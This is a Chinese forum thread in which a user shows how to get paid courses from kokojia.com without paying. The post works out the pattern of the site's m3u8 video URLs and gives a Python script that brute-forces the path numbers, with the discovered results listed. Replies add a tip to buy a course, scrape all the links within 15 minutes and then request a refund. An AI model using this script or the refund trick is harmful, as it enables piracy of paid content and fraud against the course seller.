pwp 发表于 2023-12-16 11:53

课课家收费课程免费获取思路大揭秘

{:1_918:}好久没发帖了,来一贴惊天动地泣鬼神!

目标课程:https://www.kokojia.com/course-6892.html

1-6个视频能试听,抓m3u8,列表记之,分析规律:
1 https://www.kokojia.com/python/video157269-6892.html
https://v6.kokojia.com/video/2022/04/06/154330/https_kokojia_176.m3u8

2 https://www.kokojia.com/python/video157271-6892.html
https://v6.kokojia.com/video/2022/04/06/154331/https_kokojia_465.m3u8

3 https://www.kokojia.com/python/video157272-6892.html
https://v6.kokojia.com/video/2022/04/06/154332/https_kokojia_449.m3u8

4 https://www.kokojia.com/python/video157273-6892.html
https://v6.kokojia.com/video/2022/04/06/154333/https_kokojia_248.m3u8

5 https://www.kokojia.com/python/video157274-6892.html
https://v6.kokojia.com/video/2022/04/06/154334/https_kokojia_183.m3u8

6 https://www.kokojia.com/python/video157276-6892.html
https://v6.kokojia.com/video/2022/04/06/154335/https_kokojia_253.m3u8

.......................
https://www.kokojia.com/python/video157352-6892.html
https://v6.kokojia.com/video/2022/04/06/xxx/https_kokojia_yyy.m3u8

得出m3u8数学模型:
https://v6.kokojia.com/video/2022/04/06/xxx/https_kokojia_yyy.m3u8
其中xxx取值范围约154330~154330+(157352-157269)
设yyy取值范围为100~999.
则编写python程序遍历可得m3u8:

import time
import requests

def testurl(xxx,yyy):
    id1 = str(xxx)
    id2 = str(yyy)
    url = f"https://v6.kokojia.com/video/2022/04/06/{id1}/https_kokojia_{id2}.m3u8"
    headers = {
      "accept": "*/*",
      "accept-language": "zh-CN,zh;q=0.9",
      "cache-control": "no-cache",
      "pragma": "no-cache",
      "sec-ch-ua": '"Not.A/Brand";v="8", "Chromium";v="114"',
      "sec-ch-ua-mobile": "?0",
      "sec-ch-ua-platform": "\"Windows\"",
      "sec-fetch-dest": "empty",
      "sec-fetch-mode": "cors",
      "sec-fetch-site": "same-site",
      "referrer":"https://www.kokojia.com/python/video157269-6892.html"
    }


    response = requests.get(url, headers=headers)
    return response.status_code
if __name__ == '__main__':
    for xxx in range(154403,155403):
      for yyy in range(99,1000,1):
            print(xxx," ",yyy)
            status = testurl(xxx,yyy)
            if status==200:
                print(xxx,yyy,status)
                with open("text.txt","a+",encoding='utf-8')as f:
                  f.write(str(xxx)+" "+str(yyy)+" "+str(status)+" "+'\n')
                break


运行24小时,遍历得:

154336 198 200
154337 455 200
154338 794 200
154339 346 200
154340 852 200
154341 977 200
154342 992 200
154343 997 200
154344 235 200
154345 264 200
154346 252 200
154347 832 200
154349 196 200
154350 795 200
154351 135 200
154352 957 200
154353 798 200
154354 153 200
154355 807 200
154356 176 200
154357 915 200
154360 393 200
154361 741 200
154363 344 200
154364 651 200
154365 324 200
154366 988 200
154367 437 200
154369 693 200
154370 377 200
154371 204 200
154372 283 200
154373 719 200
154375 708 200
154376 128 200
154379 294 200
154380 949 200
154381 116 200
154383 880 200

hjxhjxjx 发表于 2023-12-16 12:04

一直以为这种地址名都是发布时用hash之类处理得出来的,一直没成功,没想到真的是随机的

那如果地址是16进制或是26字母+数字的,阁下该如何应对?

pwp 发表于 2023-12-16 12:09

hjxhjxjx 发表于 2023-12-16 12:04
一直以为这种地址名都是发布时用hash之类处理得出来的,一直没成功,没想到真的是随机的

那如果地址是16 ...

寻找他的蛛丝马迹,再不行就买,15分钟内把m3u8地址爬出来,然后申请退款:keai

Eqwer 发表于 2023-12-16 12:18

本帖最后由 Eqwer 于 2023-12-16 12:20 编辑

666,好玩,可惜课大部分都太老了,不老的课都能在其他平台找到。

pwp 发表于 2023-12-16 12:23

Eqwer 发表于 2023-12-16 12:18
666,好玩,可惜课大部分都太老了,不老的课都能在其他平台找到。

也许早有大佬写出下载器,买课15分钟内爬好m3u8之后,申请退款,就把课程全部down下来了

x666777888 发表于 2023-12-16 12:28

学习下,谢谢

moruye 发表于 2023-12-16 13:22

Black_山猫 发表于 2023-12-16 13:25

如何抓么m3u8{:1_932:}

pzl1988 发表于 2023-12-16 13:32

有些网站试听和正式课的目录是不一样的,又该如何应对

sai609 发表于 2023-12-16 13:52

千聊缓存视频,如何实现上述需求?
页: [1] 2 3
查看完整版本: 课课家收费课程免费获取思路大揭秘